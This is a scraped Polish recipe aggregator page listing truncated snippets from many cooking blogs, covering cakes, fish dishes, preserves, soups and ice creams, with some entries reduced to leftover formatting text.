Zgrzewarki próżniowe - do czego się przydają 148

Wszyscy doskonale wiemy, że pakowanie próżniowe przedłuża nawet kilkukrotnie trwałość produktów żywnościowych poczynając od mięsa i jego przetworów, poprzez ryby, owoce i warzywa, sery, kawy, przeprawy, na pieczywie i herbatnikach kończąc. Pozwala również dłużej zachować ich walory smakowe i wartości odżywcze, w tym niezbędne dla organizmu mikro- i makroelementy oraz zapobiega uwalnianiu aromatów. Pisałam już o tym na blogu(...)przygotowywania posiłków zgodnie z metodą sous vide i sezonowania wołowiny na steki. Dzięki tym rozwiązaniom nie tylko oszczędzamy pieniądze, kupując zamiast gotowych półproduktów kulinarnych, jedynie nieprzetworzoną żywność (mięsa, ryby i owoce morza, warzywa i owoce). Możemy także przygotować odpowiedniej wielkości porcje i uniknąć marnotrawienia jedzenia. Stek wołowy sezonowany w workach próżniowych FoodSaver Przyrządzanie potraw metodą sous vide (co w dosłownym

Kulinaria - potrawy z różnych stron świata
Bułeczki z ziołami i mozarellą 227

Przepisy Thermomix. Bułeczki z ziołami i mozarellą. Składniki: 100 g sera białego 35 g masła 70 g mleka 1 łyżeczka soli 250 g mąki pszennej 2

Themo przepisy
Zupa spaghetti z klopsikami 191

Przepisy Thermomix. Zupa spaghetti z klopsikami. Składniki na klopsiki: 300 g mięsa wołowego 2 łyżki świeżych ziół (oregano, bazylia, tymianek) sól, pieprz do smaku Składniki na

Themo przepisy
Sałatka z łososiem, brokułem i jajkiem 231

Łosoś świetnie komponuje się z wieloma rzeczami jak brokuły, jajka, kremowe serki - można powiedzieć że jest uniwersalny. Mając do dyspozycji tą rybę możemy sporo eksperymentować w kuchni, zaczynając od dań obiadowych, poprzez przystawki, zupy i sałatki. Dzisiaj przygotowałam dla Was pyszną, zdrową i kolorową sałatkę. Sałatka z brokułem i jajkiem w połączeniu z łososiem jest bardzo zdrową kombinacją. Jest idealna(...)osób odżywiających się zdrowo. Łosoś jest bardzo zdrową rybą, bogatą w witaminy A, D i E oraz w białko. Jednak największym atutem łososia jest to, że jest bogaty w kwasy tłuszczowe z grupy Omega-3, jest bogaty również w cynk, selen, potas oraz jod. Kupując łososia najlepiej wybierać dzikie, nie hodowlane. Składniki: 3 jajka 1 nieduży brokuł 1/2 czerwonej cebuli

Kuchnia Pełna Pasji
Ciasto z jabłkami last minute 148

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Syrop z dyni do kawy 200

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Ciasto czekoladowe z jabłkami 304

Ciasto czekoladowe z jabłkami. Przepisy Thermomix. Składniki: 80 g orzechów włoskich 200 g masła 150 g cukru 4 jajka 250 g mąki 2 łyżeczki cynamonu 2

Themo przepisy
Sok z aronii 227

Składniki na sok z aroniowy Owoce aronii 1 kg dojrzałych owoców aronii 2 niepełne szklanki cukru 1 szklanka wody 1 cytryna Owoce aronii umyć, rozgnieść i

Korniszonki
Babeczki marchewkowe 201

Babeczki marchewkowe Składniki na babeczki marchewkowe 2 średnie marchewki starte na grubej tarce (1 szklanka) 3/4 szklanki mąki 1 łyżeczka proszku do pieczenia ½ szklanki oleju rzepakowego

Korniszonki
Krucha szarlotka pod pierzynką 207

Składniki potrzebne na kruchą szarlotkę z zapiekaną pianą Krucha szarlotka pod pierzynką 4 – 5 dużych kwaśnych jabłek (najlepsze będą reneta szara lub złota, antonówki) 40 dag

Korniszonki
Dżem z czarnej porzeczki 201

Przepisy Thermomix. Dżem z czarnej porzeczki. Składniki: 1000 g czarnej porzeczki 200 g cukru 15 g pektyny sok z połowy cytryny   Wykonanie: Porzeczki obieramy z

Themo przepisy
Gołąbki z kaszą gryczaną i pieczarkami 189

Thermomix przepisy. Gołąbki z kaszą gryczaną i pieczarkami. Składniki na 8 sztuk: 300 g kaszy gryczanej 350 g pieczarek 1 cebula 20 g masła klarowanego 1

Themo przepisy
Zupa krem z pieczarek i topinamburu 146

Thermomix przepisy. Zupa krem z pieczarek i topinamburu Składniki: 250 g topinamburu 250 g ziemniaków 150 g pieczarek 500 g bulionu 1 cebula 1 ząbek czosnku

Themo przepisy
Bułeczki pizzowe 206

Thermomix przepisy. Bułeczki pizzowe. Składniki: 100 g wody 10 g świeżych drożdzy 1 łyżeczka cukru 200 g mąki 1 łyżka oliwy szczypta soli 1 łyżeczka oregano

Themo przepisy
Zimowa sałatka z zielonych pomidorów 312

Składniki potrzebne do przygotowania zimowej sałatki z zielonych pomidorów Zimowa sałatka z zielonych pomidorów 1 kg zielonych pomidorów (najlepiej z własnego ogrodu) 1 cebula Ok. 1

Korniszonki
Domowa jarzynka (mieszanka przypraw i warzyw) 312

Składniki potrzebne do przygotowania domowej jarzynki: Przepis na domową jarzynkę 100 g suszonych warzyw (przepis na suszone warzywa) 1 łyżka suszonej cebuli 1 łyżeczka suszonej natki

Korniszonki
Paprykarz domowy 179

Wszyscy znamy smak paprykarza szczecińskiego? Jak nie, to proponuję zrobić domowy i na pewno od razu  zakochamy się w jego smaku. Doskonała przekąska z warzyw, ryb i ryżu zamknięta w słoikach.  Po jego zrobieniu, a z porcji wychodzi dużo słoiczków i tak zaczniecie drugie podejście, bowiem ten domowy wyrób rozpływa się w ustach, i bardzo szybko znika. Przepis(...)ostrej WYKONANIE Filety po rozmrożeniu przekręcamy 2 razy przez maszynkę . Pietruszkę, kapustę i seler ścieramy  na grubej tarce. Cebulę kroimy w kostkę, pora w paski. Wszystko łączymy z rybą dodajemy sypkie przyprawy i mieszamy. Można spróbować, jeśli smak nam nie odpowiada dodajemy jeszcze przypraw. Do wszystkiego dodajemy surowy ryż, przecier i olej. Jeszcze raz mieszamy. Cała filozofia tego przepisu

W kuchennym oknie Ewy
Pompadurki z brzoskwiniami ciasteczkowymi 210

Pompadurki z brzoskwiniami - pyszność z ciasta twarogowego Pompadurki to pyszne ciastka z ciasta twarogowego oryginalnie nadziewanie śliwkami węgierkami. Z braku śliwek w zaprzyjaźnionym warzywniaku postanowiłam zaeksperymentować

Korniszonki
Słodki dżem z pomidorów z nutą pomarańczy i cynamonu 190

Składniki na słodki dżem pomidorowy Słodki dżem pomidorowy 4 duże pomidory 1 szklanka cukru 1 plaster cytryny ze skórką ½ łyżeczki cynamony lub pół laseczki kory cynamonowej

Korniszonki
Marynowane maślaki 226

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Marynata octowa 192

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Sałatka nicejska z wędzonym łososiem i jajkiem. 261

znanych obok np.   zupy cebulowej potrawa kuchni francuskiej. Z racji tego, że sałatka wywodzi się  Nicei, czyli malowniczego miasteczka położonego nad Morzem Śródziemnym, jej głównym składnikiem są ryby. Możemy tutaj dodać tuńczyka z puszki, czy grillowaną rybę, jednak moim zdaniem wędzony łosoś robi tutaj ogromną robotę. Sałatka nicejska z wędzonym łososiem i jajkiem. Składniki: nieduża główka sałaty lodowej

Poezja Smaków - blog kulinarny
Leczo z kiełbasą 170

Składniki na leczo z kiełbasą Leczo z kiełbasą 2 małe cukinie 2 papryki (żółta i czerwona) 2 średnie cebule Pół główki czosnku 1 puszka pomidorów lub

Korniszonki
Gotujemy wywar rybny w szybkowarze 232

też owoców morza. Po wyklarowaniu można go użyć do przygotowania fantastycznej galarety rybnej. Inne wywary mięsne, drobiowe i warzywne znajdziesz w dziale Wywary . Wywar rybny. Składniki 800 g ryby - kręgosłupy z kawałkami mięsa, z płetwami, ja użyłam 3 z sandacza i 1 z łososia 1 cebula, obierz i pokrój w małą kostkę 1 marchew, obierz i pokrój(...)tutaj . rozgrzej w szybkowarze masło, dodaj cebulę i podsmażaj na średniej mocy palnika ok. 3 min dodaj pozostałe warzywa, całość podsmażaj jeszcze parę minut do warzyw dodaj kawałki ryby i całość chwilę podsmażaj co jakiś czas mieszając dolej wino całość zamieszaj od czasu do czasu i poczekaj, aż alkohol ulotni się całkowicie i nie będzie w ogóle czuć jego

Szybko Szybkowar
Ptysie z kremem waniliowym 154

Składniki na ciasto ptysiowe Ptysie z kremem waniliowym 2 szklanki mąki 1 szklanki wody 1 szklanka mleka 1 kostka + duża łyżka masła pokrojonego w kostkę 5

Korniszonki
Kremowe lody śmietankowe z dwóch składników 166

Składniki na lody śmietankowe Kremowe lody śmietankowe 200 ml skondensowanego słodzonego mleka 500 ml śmietanki kremówki (36%) Schłodzoną śmietankę ubijacie na sztywno, po czym dodać do

Korniszonki
Koktajl malinowy bez pestek 206

2 szklanki świeżych malin Koktajl malinowy bez pestek 2-3 łyżki płynnego miodu, syropu klonowego lub cukru (według uznania) Szklanka mleka Pół szklanki naturalnego jogurtu lub

Korniszonki
Ciasto czekoladowe z bitą śmietaną i owocami 734

Ciasto czekoladowe z bitą śmietaną i owocami Thermomix Składniki na ciasto czekoladowe z bitą śmietaną i owocami: 125 g gorzkiej czekolady 125 g mlecznej czekolady 125

Themo przepisy
Drożdżowe ślimaki z konfiturą morelową 145

Ciasto drożdżowe: Drożdżowe ślimaki na słodko 250 g mąki pszennej 250 ml mleka 20 g świeżych drożdży 5 żółtek 70 g masła, roztopionego i przestudzonego 100

Korniszonki
Tort naleśnikowy 159

Tort naleśnikowy Thermomix Składniki na tort naleśnikowy: Ciasto na naleśniki: 300 g mleka roślinnego lub krowiego 300 g wody mineralnej gazowanej 320 g mąki pszennej 2

Themo przepisy
,,Roladki z cukinii i łososia ’’ 155

cukinia 1 cytryna sól, pieprz oliwa z oliwek Przygotowanie: Cukinię kroimy wzdłuż na cieniutkie plastry (max 1/2 cm). Smarujemy cienko oliwą i smażymy na patelni aż zmięknie. Filety ryby solimy i posypujemy pieprzem, skrapiamy sokiem z cytryny. Następnie kroimy wzdłuż na długie paski, o szerokości i długości odpowiadającej mniej więcej wielkości plastrów cukinii. Na pasku ryby kładziemy plasterek cukinii oraz

Podróż w kulinaria
Sos cytrynowo-bazyliowy do ryby 206

Bardzo aromatyczny, cytrynowo-bazyliowy, maślany sos, który idealnie sprawdza się jako dodatek do ryby. Śmietanę wymieszać widelcem z żółtkiem jaja. Bazylię drobno posiekać. Masło rozpuścić w małym garnku. Dodać mąkę

Bullio
Sałatka z kaszy kuskus i bobu 151

świecie orzeszków pistacjowych i lekko pikantnej, aromatycznej bazylii. Całość prezentuje się niebywale wiosennie, energetycznie i bez wątpienia apetycznie. Rewelacyjnie sprawdzi się jako samodzielne danie lub dodatek do mięsa bądź ryby, jest też świetnym pomysłem na lunch box do pracy. A dlaczego warto jeść bób? – zawiera duże ilości białka, które może być alternatywą dla białka pochodzenia zwierzęcego, – jest stosunkowo(...)skórek. 3) Do kaszy dodać przygotowany bób, pistacje, posiekaną bazylię, oliwę, doprawić do smaku solą oraz pieprzem i dokładnie wymieszać. 4) Podawać jako samodzielne danie albo dodatek do ryby lub mięsa . Artykuł Sałatka z kaszy kuskus i bobu pochodzi z serwisu FitSweet

Fitsweet.me
Sałatka z pieczoną makrela 156

cytryny Makrele umyć i natrzeć solą i pieprzem. Polać oliwą i włożyć na 30 minut do piekarnika razem z czerwona papryka owiniętą w folię. Obrać ze skóry i ości rybę. Obrać paprykę. Mięso ryby ułożyć na talerzu i dodać pokrojone warzywa. Skropić sokiem z cytryną, dodać oliwę i kapary

AZgotuj!
Kotleciki z cukinii z oscypkiem i świeżymi ziołami 325

2 młode cukinie 2 całe jajka 1 – 2 kopiatych łyżek bułki tartej Pół filiżanki oscypka startego na tarce Po pół łyżeczki posiekanych świeżych ziół: tymianku, majeranku

Korniszonki
Wegański tuńczyk 140

jadłam nic gorszego. Ale to kwestia gustu, nie wszystko złoto co jest wegańskie Prawdą jest , że jeżeli przeszło się na weganizm jako osoba znająca już pewne smaki jak ryby, jajka, to ich czasami brakuje. W moim przypadku najbardziej brakuje mi ryb. Jak ja zazdroszczę moim kotom… Na przepis wegańskiego tuńczyka trafiłam na YouTube, i oczywiście Amerykanie go „wynaleźli

greenscarf
Wędzone pstrągi i „bolki” 86

rybki wędzonej jak ta, którą przygotują moi rodzice. Nadmienię, iż rodzice moi mieszkają nad morzem. Znajomi nie wiedzieli o co mi chodzi, kiedy kręciłam nosem przy ich zachwycaniu się rybami wędzonymi, zakupionymi w sklepie, dopóki nie przywiozłam im rybki takiej świeżutkiej, prosto z wędzarni od rodziców. Udało mi się zrobić kilka zdjęć podczas wędzenia pstrągów i kilku małych dorszy zwanych

Pieguskowa Kuchnia
Śledzie w zalewie pomidorowej 120

zalewie pomidorowej już od dawna chodziły mi po głowie. Przepis wydawał mi się rzetelny, więc postanowiłam spróbować. Nie żałuję. Śledzie wyszły pyszne, wystarczająco doprawione. Uwielbiam takie dania z ryb szczególnie na święta. Można je przygotować wcześniej zaoszczędzając czas w dzień Wigilii. To moja ostatnia propozycja w tym roku na wigilijny stół. A teraz lecę zajrzeć jeszcze do makowca, który siedzi

Pieguskowa Kuchnia
ŚLEDZIE PO SUŁTAŃSKU 115

Dzisiaj ostatni dzień karnawału czyli popularny „śledzik”. Wiecie już że lubię ryby, więc nie mogło dzisiaj zabraknąć śledzia na moim blogu. Przepis „stary jak świat” i sama nie mogę uwierzyć, że dotychczas go nie opublikowałam. Spróbujcie, a nie pożałujecie – śledzie po sułtańsku wg tego przepisu są przepyszne. ŚLEDZIE PO SUŁTAŃSKU 1 kg śledzi (namoczyć

Pieguskowa Kuchnia
DORSZ W WARZYWACH 150

łyżki keczupu 3 łyżki octu 2 łyżki cukru sól do smaku WARZYWA 6 dużych cebul 1 słoik korniszonów 1 słoik papryki marynowanej Z mąki, jajka i wody przygotować ciasto. Rybę oprószyć ulubionymi przyprawami ( sól, pieprz cytrynowy ), obtoczyć w cieście i usmażyć na złoty kolor. Cebulę pokroić w pół talarki, ogórki w plasterki, a paprykę w paski. Cebulę podsmażyć do zeszklenia

Pieguskowa Kuchnia
Bazyliowe pesto 126

przepis na dodatek do praktycznie wszystkiego. Mowa o pesto ze \u015bwie\u017cej bazylii, kt\u00f3re nada niepowtarzalnego smaku ka\u017cdej potrawie. Idealnie sprawdza si\u0119 z mi\u0119sem i ryb\u0105. Polecana jest te\u017c do wszelkiego rodzaju makaron\u00f3w, ale \u015bwietnie sprawdzi si\u0119 nawet w grillowanej kanapce. Sprawd\u017acie sami! ;)","recipeIngredient":["1 z\u0105bek czosnku(...)mega prosty przepis na dodatek do praktycznie wszystkiego. Mowa o pesto ze świeżej bazylii, które nada niepowtarzalnego smaku każdej potrawie. Idealnie sprawdza się z mięsem i rybą. Polecana jest też do wszelkiego rodzaju makaronów, ale świetnie sprawdzi się nawet w grillowanej kanapce. Sprawdźcie sami! Bazyliowe pesto Składniki 1 ząbek czosnku 1 duża garść świeżej bazylii 50g orzeszków pinii 3 łyżki

Mostek w kuchni
Muffinki czekoladowo-bananowe z nutellą 169

1 pełna szklanka maki 1 łyżka kakao 1/2 szklanki cukru 1 cukier waniliowy 2 jajka 1/2 szklanki oleju rzepakowego lub z pestek winogron 1/2 szklanki maślanki

Korniszonki
Kruche babeczki migdałowo-morelowe (wg przedwojennej receptury) 141

Ciasto kruche 100 g masła o temperaturze pokojowej 2 żółtka 200 g mąki 3 łyżki cukru lub wg uznania szczypta soli Migdałowa masa makaronikowa z gałką

Korniszonki
Duszony łosoś z awokado i pomidorkami koktajlowymi [ENG] 158

pepper, dried vegetables PRZYGOTOWANIE Opłucz a następnie osusz filet z łososia. Ponacinaj go w poprzek tak aby nie uszkodzić skórki. Awokado pokrój w plastry i wsuń w miejsca nacięć ryby. Połóż go skórą do dołu na rozgrzanej patelni z olejem. Posyp solą, pieprzem i mixem suszonych warzyw. Polej sokiem z cytryny. Nałóż przekrojone na połówki pomidorki (można(...)Następnie nalej na patelnię wody i doprowadź ją do wrzenia. UWAGA! Wodę wlej obok łososia nie po nim. Ilość wody nie powinna przykrywać więcej niż 0,5 cm wysokości ryby. Przykryj i duś przez około 10-15 min w zależności od grubości fileta. Po tym czasie zdejmij z patelni i przełóż na talerz. Możesz podawać np. z sałatką z surowych

Better Life By Auntie Ju
Mintaj w sosie pomidorowym 136

czosnek granulowany SOS: Pomidory w puszce 3 łyżki  jogurtu greckiego/naturalnego Duża  cebula Średnia  marchewka Sól, pieprz,  oregano, bazylia, lubczyk,  pół  łyżeczki  cukru Rybę  myjemy i osuszamy,  obsypujemy solą,  pieprzem i czosnkiem,  odstawiamy na pół h. Pomidory przelewam  do rondelka,  dodajemy jogurt i przyprawy. Całość  blendujemy, marchewkę(...)kroimy w dość cienkie plasterki, cebulę też  dość  cienko:)  Dodajemy do sosu i zagotowujemy.  Piekarnik nagrzewamy do 180 C  Rybę  rozkładamy na dnie naczynia żaroodpornego. Większe  filety proponuję  przeciąć  na pól.  Następnie wlewamy sos i pokrywamy nim całość, wstawiamy do piekarnika.  Pieczemy 30min, w połowie  czasu przykrywamy folią

Mamuśka wraca do formy
Dorsz ze szpinakiem i pieczarkami 115

jogurtu greckiego 2 łyżeczki  oliwy z oliwek Sok z połowy  cytryny Czosnek granulowany,  sól,  pieprz,  odrobina imbiru,  paryka słodka,  gałka  muszkatołowa Rybę  osuszyć  i skropic sokiem z cytryny.  Przyprawić  solą, pieprzem, czosnkiem, papryką  i imbirem. Odstawic do lodówki  na pół  h.  Cebulę  zeszklić(...)oliwie,  dodać pokrojone pieczarki i calosc dusic aż  pieczarki zmiękną.  Dodać  szpinak,  doprawić obficie solą,  pieprzem,  czosnkiem i gałką  muszkatołową.  Rybę  wyłożyć  na dnie naczynia  żaroodpornego,  przykryć zawartością  patelni- szpinakiem z pieczarkami:)  Całość  można  posypać  startym serem

Mamuśka wraca do formy
Szybki makaron w sosie borowikowym 190

solą i pieprzem do smaku. Wymieszać. Sos wlać do garnka z odcedzonym, gorącym makaronem i dokładnie wymieszać. Makaron podawać gorący, jako samodzielne danie, lub jako dodatek do mięs czy ryb. SMACZNEGO!   Uwagi do przepisu: Z podanych składników wychodzi porcja dla 2 osób jako samodzielne danie, lub dla 4 jako dodatek np. do mięsa, czy ryby. Sos należy przygotowywać równocześnie

Gospodyni Miejska
PLACKI Z RYBĄ 186

Chrupiące , puszyste i pełne smaku placki ziemniaczane z dodatkiem pysznej białej ryby dorsza .Niepowtarzalny smak i nietypowe połączenie , a zarazem prawie  klasyk kotleta rybnego.Polecam!. 60 dag.dorsza 1 kg.ziemniaków 1 cebula 3 łyżki mąki pszennej 2 jajka sól pieprz gałka muszkatołowa papryka ostra olej do smażenia gęsta śmietana i szczypiorek do smaku ****************************************** Ziemniaki obieramy,płuczemy ,ścieramy na tarce(...)małych oczkach wraz z obraną cebulą.Do masy dodać  zmieloną ,surową rybę , mąkę , jajka , sól , pieprz ,paprykę ostrą.Całość starannie wymieszać , aż się składniki dobrze połączą.Na patelni rozgrzać olej ,może być kokosowy lub inny i smażyć placki na złoty kolor z obu stron.Podajemy ze śmietaną ,twarożkiem i posiekanym szczypiorkiem.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
Dorsz cytrynowy 137

porcje: 2 kawałki polędwicy z dorsza skórka otarta z cytryny łyżka oliwy przyprawy: sól, pieprz, czosnek granulowany, kurkuma Wykonanie:  Oliwę mieszamy ze skórką cytrynową i odrobiną czosnku granulowanego. Rybę nacieramy solą, pieprzem i kurkumą, smarujemy cytrynową oliwą. Rybę odstawiamy do lodówki na godzinę, następnie pieczemy przez 15-20 minut w temperaturze 180 stopni w naczyniu żaroodpornym przykrytym folią aluminiową

Smak mojej kuchni
Kokosowe curry z selerem 170

ryż, który jest o bardziej lekkostrawny i ma działanie wychładzające, co jest mile widziane latem. Danie to jest inspirowane kuchnią indyjską, a dokładnie przepisem, w którym była użyta ryba, ale dobrym sposobem na ogranie ulubionego dotychczas dania przed przejściem na jasną stronę mocy, czyli wege jest zastąpienie ryby uwaga- selerem! To curry jest łagodne, lekko słodkawe ale o korzennej nucie

greenscarf
Morelowa tarta Tatin 119

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Kotlety z cukinii z serem żółtym 160

2 młode cukinie 2 całe jajka 1 - 2 kopiatych łyżek bułki tartej Pół filiżanki tartego sera żółtego (np. Gouda) Pół łyżeczki suszonego tymianku Pół łyżeczki suszonego

Korniszonki
Muffinki kokosowo-marchewkowe 144

2 średnie marchewki starte na grubej tarce (1 szklanka) 0,5 szklanki mąki 1 pełna łyżka wiórków kokosowych 1 łyżeczka proszku do pieczenia 2 pełne łyżki

Korniszonki
Lody truskawkowe 261

Lody truskawkowe Thermomix Przepis na lody truskawkowe: 300 g śmietany 30% (dobrze schłodzonej) 100 g mleczka słodzonego skondensowanego 300 g truskawek Thermomix przepisy. Lody truskawkowe. Wykonanie

Themo przepisy
SAŁATKA Z BURAKAMI, TOFU I GLONAMI NORI 131

także duże ilości błonnika pokarmowego.  Taką oto sałatkę postawiłam na wigilijnym stole jako ciekawostkę kulinarną. Poprosiłam wszystkich, aby spróbowali odgadnąć, jaki jest jej skład. Zdecydowanie mówili, że ryba, że na pewno w składzie jest makrela. Piękne zdziwienie rysowało się na ich twarzach, gdy oznajmiłam, że ryby tam nie ma :) Koniecznie musicie przetestować ten przepis! Zaczerpnęłam go z publikacji "Dobre

wege i kropka
4 najsmaczniejsze dania kuchni japońskiej 184

Japoński przysmak podbija serca fanów orientalnych dań, a mistrzów sushi przybywa – wielu kucharzy pragnie osiągnąć bowiem najlepszy poziom w przygotowywaniu popularnej potrawy od Japończyków. Na sushi składają się surowe ryby, owoce morza, warzywa i ryż – wszystko zawinięte w liście wodorostów. W przygotowaniu sushi bardzo istotna jest technika – dlatego nie każdy potrafi sporządzić je właściwie. Ramen – tradycyjna japońska zupa Inną popularną(...)potrawą japońską, jest ramen – tradycyjna zupa, bazująca na mięsnym wywarze, przypominającym w smaku polski rosół, jednak bardziej aromatycznym. Bulion urozmaicany jest dodatkiem warzyw, mięs lub ryb i owoców morza. Sekretem ramenu jest jednak wyjątkowy makaron produkowany z mąki pszennej – o wiele bardziej elastyczny  niż tradycyjny makaron. Smak ramenu poczuć można również w popularnych zupach instant. Wśród nich znajdują się

Tradycyjna Kuchnia
Sos limonkowo - miętowy z ogórkiem 239

czasie kie dy organizujemy grille, spotkania ze znajomymi na świeżym powietrzu, czy też po dajemy na obia d ryby lub mięsa, możemy po dać intensywnie orzeźwiający sos. Intensywny smak limonki, przełamany delikatnością ogórka i świeżością mięty do da naszym potrawą nowego smakowego wymiaru. Spróbujcie :) Skła dniki:   300 ml gęstego jogurtu naturalnego skórka z całej limonki sok z 1/2 limonki(...)mieszamy. Liście mięty myjemy, osuszamy i drobno siekamy, do dając je do sosu. Całość przyprawiamy świeżo zmielonym pieprzem oraz solą. Po dajemy do mięs z grilla,  drobiu oraz ryb. Smacznego

ChilliJemy
Mini tarty cytrynowe 170

Ciasto kruche na tartaletki 100 g masła o temperaturze pokojowej 2 żółtka 200 g mąki 3 łyżki cukru lub wg uznania szczypta soli Krem cytrynowy 2

Korniszonki
Gulasz po węgiersku 168

1 kg łopatki wieprzowej lub wołowej (można wybrać inny rodzaj wołowiny lub połączyć dwa rodzaje mięsa) 2 cebule 2 łyżki koncentratu pomidorowego po 1 łyżeczka ostrej

Korniszonki
Lody pomarańczowe a‘la Nigella 127

1 pomarańcza 2 limonki 2 łyżki rodzynek (namoczyć w likierze pomarańczowym przez ok. 1 godz.) 1 szklanka cukru pudru 2 i pół szklanki słodkiej śmietanki (najlepiej

Korniszonki
Kwiaty czarnego bzu w cieście racuszkowym 153

Uwaga! Kwiaty czarnego bzu muszą pochodzić z pewnego miejsca! Nie można wykorzystywać kwiatów, które kwitną w miejscach zanieczyszczonych - przy szosach, drogach, na zanieczyszczonej glebie itp! Składniki

Korniszonki
Napój pomarańczowo-cytrynowy na drożdżach. Bomba witaminowa na upalne dni! 171

Kwas perełka, o smaku cytrynowo pomarańczowym, to wspaniały napój, zrobiony na bazie świeżych Składniki: owoców (cytryn i pomarańczy), miodu oraz drożdży. Wspaniale gasi pragnienie w upalne

Korniszonki
Tort waniliowo-czekoladowy z bezą i borówkami 145

Normal 0 21 false false false PL X-NONE X-NONE

Korniszonki
Pomidorowe rybne curry 146

Rybne curry to pomysł chwili. Zakupiłam mrożoną rybę, mintaja, część usmażyłam od razu a część została i trzeba było wykorzystać ją do innego dania. Tak powstało curry, trochę przypraw i składników kuchni indyjskiej i danie gotowe, zapraszam i polecam. Szybko i smacznie. Pomidorowe rybne curry. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zupa rybna 127

dorsza 600 ml bulionu warzywnego 2 średniej  wielkości ziemniaki 2 marchewki pietruszka korzeń kawałek selera łyżka oliwy z oliwek łyżka posiekanej natki pietruszki kurkuma sól, pieprz Sposób przygotowania: Rybę opłukujemy, osuszamy i kroimy na kawałki. Marchewki, pietruszkę i seler myjemy, obieramy i kroimy na kawałki. Ziemniaki myjemy, obieramy, kroimy w kostkę, gotujemy. W głębokiej patelni podgrzewamy oliwę i podsmażamy(...)krótko warzywa. Dodajemy bulion, przyprawiamy solą, pieprzem oraz kurkumą  i całość zagotowujemy. W patelni umieszczamy również kawałki ryby i wszystko gotujemy na małym ogniu przez 15 minut. Potrawę możemy podawać posypaną natką pietruszki

Menu Zdrowia
Chłodnik truskawkowy z serem i bazylią 153

Chłodnik truskawkowy z serem i bazylią Thermomix Składniki: 500 g truskawek 2 łyżki soku z cytryny 2 łyżki miodu ser mozarella listki bazylii Wykonanie: Do naczynia

Themo przepisy
Chłodnik litewski 313

Chłodnik litewski Thermomix Składniki na chłodnik litewski: 500 g bulionu warzywnego 400 g gęstego jogurtu (może to być też kefir) pęczek młodej botwinki pęczek rzodkiewki pęczek

Themo przepisy
Smaki Japonii - foto skrót z podróży, cz. 2 148

zapamiętujemy najczęściej piękne krajobrazy i zabytki, długo również pozostają w naszej pamięci smaki potraw, które jedliśmy. W artykule "Smaki Japonii - foto skrót z podróży, cz. 1" , przedstawiłam dania z ryb i owoców morza, w tej części zaś, będzie trochę mięsa, z którym Japonia nie jest wcale kojarzona. Podróż mego Syna do Japonii i podzielenie się ze mną wrażeniami, sprawiła(...)zaczęłam postrzegać ten kraj nieco inaczej. Do tej pory Kraj Kwitnącej Wiśni, jeśli chodzi o jedzenie, kojarzyłam raczej tylko z sushi.  Japończycy oprócz ryb uwielbiają również mięso, przecież najdroższa wołowina pochodzi z japońskich krów rasy Wagyu, a popularną potrawą z tej kuchni jest zupa ramen, przygotowywana na wywarze z kości i właśnie z dodatkiem mięsa. Zobaczcie mały wycinek tego

Kuchcik gotuje
Lody ciasteczkowe 359

Lody ciasteczkowe Thermomix Składniki na lody ciasteczkowe: 300 g śmietany 30% (dobrze schłodzonej) 100 g mleczka słodzonego skondensowanego 10 ciasteczek Oreo Thermomix przepisy. Lody ciasteczkowe. Wykonanie

Themo przepisy
Ciasto jogurtowe z truskawkami 2145

Ciasto jogurtowe z truskawkami Thermomix Składniki na blaszkę 30x2o: 350 g mąki pszennej 2 łyżeczki proszku do pieczenia 100 g cukru 2 łyżki cukru z wanilią

Themo przepisy
Torcik makaronowo łososiowy 157

sosu Arrabiatta Barilla pomidorowo paprykowy 15 dkg sera żółtego warstwa łososiowa: 40 dkg filetu z łososia 125 g szpinaku 1 ząbek czosnku 1 cebula sól, pieprz przyprawa do ryb 200 g śmietany gęstej 18 % 2 jajka sól, pieprz 2 ząbki czosnku koper świeży olej wierzch: 1 kulka mozzarelli pomidorki koktajlowe rożne rodzaje Makaron gotuję aldente w osolonej wodzie, odcedzam(...)doprawiam solą, pieprzem według uznania. Formę o średnicy 23 cm smaruję, wykładam makaron pomidorowy. Filet z łososia kroję na małe kawałki, przekładam do miski, dodaję sól, pieprz, przyprawę do ryby i odstawiam na 30 minut do lodówki. Na patelni przesmażam pokrojoną cebulę i czosnek, dodaję szpinak i  szpinak przesmażam dosłownie minutę. Doprawiam solą, pieprzem. Do miski wbijam dwa jajka

wesoła kuchnia
Zupa ze szparagami i jajkiem 197

Zupa ze szparagami i jajkiem Thermomix Składniki: 1 cebula 1 ząbek czosnku 1 łyżka masła klarowanego 1000 g bulionu warzywnego 500 g ziemniaków (obranych i pokrojonych

Themo przepisy
Lody mojito Thermomix 247

Lody mojito Thermomix Składniki na lody mojito: 330 g śmietany 30% 100 g mleka (może być roślinne) 200 g mleka skondensowanego słodzonego sok wyciśnięty z 2

Themo przepisy
HELLMANN'S AUSTRALIAN SAUCE BBQ 139

mnie genialny, nie czuć chemią , nie jest za słodki , fajny delikatny smak , wyczuwalne są przyprawy , papryka oraz słodycz ananasa.  OCENA 5/5 ZASTOSOWANIE: Marynata - marynowałam kurczaka i rybę w obu przypadkach marynata się sprawdziła. Mięso jak i rybę piekłam w rękawie w piekarniku, Produkt przeszedł smakiem marynaty.  OCENA 5/5 Dip- idealny do mięs, kanapek, warzyw

Gotowanie Patki
Sos pieczarkowy 243

Sos pieczarkowy Thermomix Składniki: 1 cebula 300 g pieczarek 20 g masła klarowanego 300 g wody lub bulionu 50 g śmietany płynnej do zup i sosów

Themo przepisy
Pasta z wędzonej makreli 167

